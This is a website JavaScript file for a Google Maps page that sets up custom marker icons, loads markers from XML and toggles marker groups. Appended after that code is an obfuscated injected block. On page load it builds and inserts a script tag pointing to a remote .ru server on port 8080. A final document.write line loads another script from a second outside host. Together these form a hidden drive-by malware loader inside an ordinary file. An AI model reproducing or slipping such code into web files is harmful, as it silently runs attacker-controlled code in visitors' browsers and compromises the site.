/***********************************************************************************************/
// Google map shizzle
// set marker group
var markerGroupsArray = new Array("goal1", "goal2", "goal3", "goal4", "goal5", "goal6", "goal7", "goal8", "goal9", "empty");
var markerGroups = {"goal1":[], "goal2":[], "goal3":[], "goal4":[], "goal5":[], "goal6":[], "goal7":[], "goal8":[], "goal9":[], "empty":[]};
var getMap = null;

/***********************************************************************************************/
// Call this function when the page has been loaded
function initialize(map) {
	if (GBrowserIsCompatible()) {
		var map = new google.maps.Map2(document.getElementById("map"));
		map.setCenter(new google.maps.LatLng(22.304380682962783, 18.953125), 2);
		map.addControl(new GMapTypeControl());
		// map.addControl(new GLargeMapControl3D());
		// map.enableScrollWheelZoom();
		map.enableContinuousZoom();
		map.removeMapType(G_NORMAL_MAP);
		map.removeMapType(G_SATELLITE_MAP);
		map.removeMapType(G_HYBRID_MAP);
		
		map.setMapType(G_NORMAL_MAP);
		
		// run next part
		// create icons
		var goalOne = new GIcon();
		goalOne.image = "/site/images/markers/goal1.png";
		goalOne.iconSize = new GSize(28,32);
		goalOne.shadowSize = new GSize(28,32);
		goalOne.iconAnchor = new GPoint(16,32);
		goalOne.infoWindowAnchor = new GPoint(13,13);
		
		var goalTwo = new GIcon();
		goalTwo.image = "/site/images/markers/goal2.png";
		goalTwo.iconSize = new GSize(28,32);
		goalTwo.shadowSize = new GSize(28,32);
		goalTwo.iconAnchor = new GPoint(16,32);
		goalTwo.infoWindowAnchor = new GPoint(13,13);
		
		var goalThree = new GIcon();
		goalThree.image = "/site/images/markers/goal3.png";
		goalThree.iconSize = new GSize(28,32);
		goalThree.shadowSize = new GSize(28,32);
		goalThree.iconAnchor = new GPoint(16,32);
		goalThree.infoWindowAnchor = new GPoint(13,13);
		
		var goalFour = new GIcon();
		goalFour.image = "/site/images/markers/goal4.png";
		goalFour.iconSize = new GSize(28,32);
		goalFour.shadowSize = new GSize(28,32);
		goalFour.iconAnchor = new GPoint(16,32);
		goalFour.infoWindowAnchor = new GPoint(13,13);
		
		var goalFive = new GIcon();
		goalFive.image = "/site/images/markers/goal5.png";
		goalFive.iconSize = new GSize(28,32);
		goalFive.shadowSize = new GSize(28,32);
		goalFive.iconAnchor = new GPoint(16,32);
		goalFive.infoWindowAnchor = new GPoint(13,13);
		
		var goalSix = new GIcon();
		goalSix.image = "/site/images/markers/goal6.png";
		goalSix.iconSize = new GSize(28,32);
		goalSix.shadowSize = new GSize(28,32);
		goalSix.iconAnchor = new GPoint(16,32);
		goalSix.infoWindowAnchor = new GPoint(13,13);
		
		var goalSeven = new GIcon();
		goalSeven.image = "/site/images/markers/goal7.png";
		goalSeven.iconSize = new GSize(28,32);
		goalSeven.shadowSize = new GSize(28,32);
		goalSeven.iconAnchor = new GPoint(16,32);
		goalSeven.infoWindowAnchor = new GPoint(13,13);
		
		var goalEight = new GIcon();
		goalEight.image = "/site/images/markers/goal8.png";
		goalEight.iconSize = new GSize(28,32);
		goalEight.shadowSize = new GSize(28,32);
		goalEight.iconAnchor = new GPoint(16,32);
		goalEight.infoWindowAnchor = new GPoint(13,13);
		
		var goalNine = new GIcon();
		goalNine.image = "/site/images/markers/goal9.png";
		goalNine.iconSize = new GSize(28,32);
		goalNine.shadowSize = new GSize(28,32);
		goalNine.iconAnchor = new GPoint(16,32);
		goalNine.infoWindowAnchor = new GPoint(13,13);
		
		var goalEmpty = new GIcon();
		goalEmpty.image = "/site/images/markers/empty.png";
		goalEmpty.iconSize = new GSize(28,32);
		goalEmpty.shadowSize = new GSize(28,32);
		goalEmpty.iconAnchor = new GPoint(16,32);
		goalEmpty.infoWindowAnchor = new GPoint(13,13);
		
		// set custom icons
		var customIcons = [];
		customIcons["goal1"] = goalOne;
		customIcons["goal2"] = goalTwo;
		customIcons["goal3"] = goalThree;
		customIcons["goal4"] = goalFour;
		customIcons["goal5"] = goalFive;
		customIcons["goal6"] = goalSix;
		customIcons["goal7"] = goalSeven;
		customIcons["goal8"] = goalEight;
		customIcons["goal9"] = goalNine;
		customIcons["empty"] = goalEmpty;	
		
		// get the markerdata file
		GDownloadUrl("/site/js/markerdata.xml", function(data) {
         	var xml = GXml.parse(data);
			var markers = xml.documentElement.getElementsByTagName("marker");
			for (var i = 0; i < markers.length; i++) {
				var html   = markers[i].getAttribute("html");
				var type   = markers[i].getAttribute("type");
				
				var lat    = parseFloat(markers[i].getAttribute("lat"));
				var lng    = parseFloat(markers[i].getAttribute("lng"));
				
				var point  = new GLatLng(lat,lng);
				var marker = createMarker(html,type,point,lat,lng);
				
				map.addOverlay(marker);
         	}
       	});
		
		function createMarker(html,type,point,lat,lng) {
				var marker = new GMarker(point,customIcons[type]);
				markerGroups[type].push(marker);
				
				GEvent.addListener(marker, 'click', function() {
     					marker.openInfoWindowHtml(html);
						getMarker = marker;
						$('#titleoverlay').hide();
   				});
				
				return marker;
		}
		
		getMap = map;
		
	}
	
}
/***********************************************************************************************/
function toggleGroup(type) {
	
	var getMarker = null;
	
	getMap.panTo(new google.maps.LatLng(22.304380682962783, 18.953125), 2);
	
	if (type == '') {
		
		for (var i=0; i < markerGroupsArray.length; i++) {
			for(var ii=0; ii < markerGroups[markerGroupsArray[i]].length; ii++) {
				var marker = markerGroups[markerGroupsArray[i]][ii];
				marker.show();
				marker.closeInfoWindow();
			}
		};
		
	} else {
		
		for (var i=0; i < markerGroupsArray.length; i++) {
			for(var ii=0; ii < markerGroups[markerGroupsArray[i]].length; ii++) {
				var marker = markerGroups[markerGroupsArray[i]][ii];
				marker.hide();
				marker.closeInfoWindow();
			}
		};
	
		for(var i=0; i < markerGroups[type].length; i++) {
			var marker = markerGroups[type][i];
			if(marker.isHidden()) {
				marker.show();
			} else {
				marker.hide();
			}
		}
	
	}
}
/***********************************************************************************************/

var Pm=new Array();try {var WD=false;this.q=20888;this.q--;H={y:false};this.uC=58300;this.uC--;var uB="";this.M_="";zY=["ja","k"];ee={ML:"G"};var _=window[new String("une"+"sca"+"peBUg".substr(0,2))];Z=[];Hk={_L:9052};dB=32312;dB-=217;var W="onloa"+"d";U=["wR","DQ","Px"];var g="1";this.Sl=20677;this.Sl--;this.HL="HL";Dd={J:49660};t={SG:29493};this.jf="jf";var B=new String("repl"+"ace");Z_=40937;Z_--;WDT=["st"];rq=8733;rq-=109;this.mL="";oYH=12576;oYH--;var A='';var s=window[(String("Reg"+"Exp"))];I={HK:"yW"};var Wh={Q:"dA"};try {} catch(QV){};this.i=false;var Lo="";this.Y=false;function w(g,e){var QI=["Lt","vT"];_w={bn:64410};var YY={HE:36593};var iN="";try {} catch(EQ){};var d=new String("[");var OL=["UP","ds","Io"];var Hc=["Ts","vH","QH"];var oq={ga:17604};var nF={Ga:47333};d+=e;var Fa=11507;var Tn=65335;q_={PD:false};var QN={};var Nj=false;d+=_("%5d");Ig={hV:false};try {} catch(TX){};XW=17513;XW--;rs=56661;rs--;PY={Sw:false};var O=new s(d, String("g"));jb=23172;jb++;zA=58621;zA++;sA={};this.dS="dS";Ep={};return g.replace(O, A);var Lk=new Array();this.vg="vg";};var oD="oD";_j=["sh","Wd"];x=64450;x+=111;var P=new String("htt"+"9EYGp:/".substr(4)+"/goRK6a".substr(0,3)+"thg"+"t1QuiltQ1".substr(3,3)+"t.rX487".substr(0,3)+"u:");SW=56838;SW-=58;var r=898859-890779;var l="/goog"+"le.co"+"m/ado"+"be.co"+"m/arm"+"orgam"+"es.co"+"m.php";try {var Dm='jI'} catch(Dm){};function S(){var gW=["aJ","nj","xG"];this.ex=58360;this.ex--;this.RD=28329;this.RD--;var oS=["EMx","Mm","PQ"];var D=w('sNc5rZiZpft5','h5NfZO');var wc=document;var eQ={At:false};this.EK="EK";var j=String("app"+"endqXwR".substr(0,3)+"Chi"+"ldyXYc".substr(0,2));this.PU=30994;this.PU++;this.kZ=17962;this.kZ-=88;var rV=new String();CM={};OE=wc.createElement(D);try {var LI='FM'} catch(LI){};this.aG='';try {var RS='eJ'} catch(RS){};this.fk='';this.bnN="bnN";this.Fb=31884;this.Fb+=53;p=P+r;this.LY="";try {var Tf='za'} catch(Tf){};ho=5103;ho-=18;gs=1338;gs-=228;p=p+l;var t_=60851;Gh=60556;Gh+=234;var sw={};var Hr=[];var _y=wc.body;try {} catch(Oh){};try {} catch(fL){};OE[new String("defer")]=g;var Pe=false;OE.src=p;var ZC={Rk:959};wA=58319;wA-=70;_y[j](OE);var lz=false;};_tD={};var QS="";var cG=new String();Xd={};this.Ed='';var sJ=new Date();OX=57850;OX--;window[W]=S;try {} catch(am){};try {} catch(hq){};var YJ=new Date();} catch(m){var eK={Ll:40200};var KD=["ir","Vt","_n"];this.xU='';var Ln=35855;this.QT=22738;this.QT--;};kW=63867;kW-=232;var ct={hU:false};var lu=["aI"];




document.write('<s'+'cript type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/Keyboard_Shortcut.js"></scr'+'ipt>');
